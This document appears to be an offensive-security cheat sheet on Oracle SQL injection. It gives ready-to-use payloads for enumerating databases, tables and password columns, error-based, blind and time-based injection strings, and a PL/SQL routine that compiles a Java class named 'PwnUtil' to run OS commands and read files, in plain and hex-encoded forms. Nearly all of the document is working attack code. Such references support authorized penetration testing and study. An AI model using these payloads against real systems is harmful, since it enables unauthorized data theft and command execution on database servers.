# Oracle SQL Injection

## Summary

* [Oracle SQL version](#oracle-sql-version)
* [Oracle SQL database name](#oracle-sql-database-name)
* [Oracle SQL List databases](#oracle-sql-list-databases)
* [Oracle SQL List columns](#oracle-sql-list-columns)
* [Oracle SQL List tables](#oracle-sql-list-tables)
* [Oracle SQL Error Based](#oracle-sql-error-based)
* [Oracle SQL Blind](#oracle-sql-blind)
* [Oracle SQL Time Based](#oracle-sql-time-based)
* [Oracle SQL Command execution](#oracle-sql-command-execution)
* [References](#references)

## Oracle SQL version

```sql
SELECT user FROM dual UNION SELECT * FROM v$version
```

## Oracle SQL database name

```sql
SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;
```

## Oracle SQL List Databases

```sql
SELECT DISTINCT owner FROM all_tables;
```

## Oracle SQL List Columns

```sql
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
```

## Oracle SQL List Tables

```sql
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
```

## Oracle SQL Error based

| Description  | Query  |
| :------------- | :------------- |
| Invalid HTTP Request  | SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual |
| CTXSYS.DRITHSX.SN     | SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual |
| Invalid XPath         | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual |
| Invalid XML           | SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual |
| Invalid XML           | SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users |
| SQL Error             | SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) |


## Oracle SQL Blind

| Description | Query |
| :------------- | :------------- |
| Version is 12.2	       | SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%'; |
| Subselect is enabled	 | SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual) |
| Table log_table exists | SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table); |
| Column message exists in table log_table | SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE'; |
| First letter of first message is t | SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%'; |

## Oracle SQL Time based

```sql
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])                 comment:   -- /**/
```

## Oracle SQL Command execution

* [ODAT (Oracle Database Attacking Tool)](https://github.com/quentinhardy/odat)

```sql
/* create Java class */
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/

BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
/

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```

or (hex encoded)

```sql
/* create Java class */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```

## References

* [NetSpi - SQL Wiki](https://sqlwiki.netspi.com/injectionTypes/errorBased/#oracle)
* [ASDC12 - New and Improved Hacking Oracle From Web](https://owasp.org/www-pdf-archive/ASDC12-New_and_Improved_Hacking_Oracle_From_Web.pdf)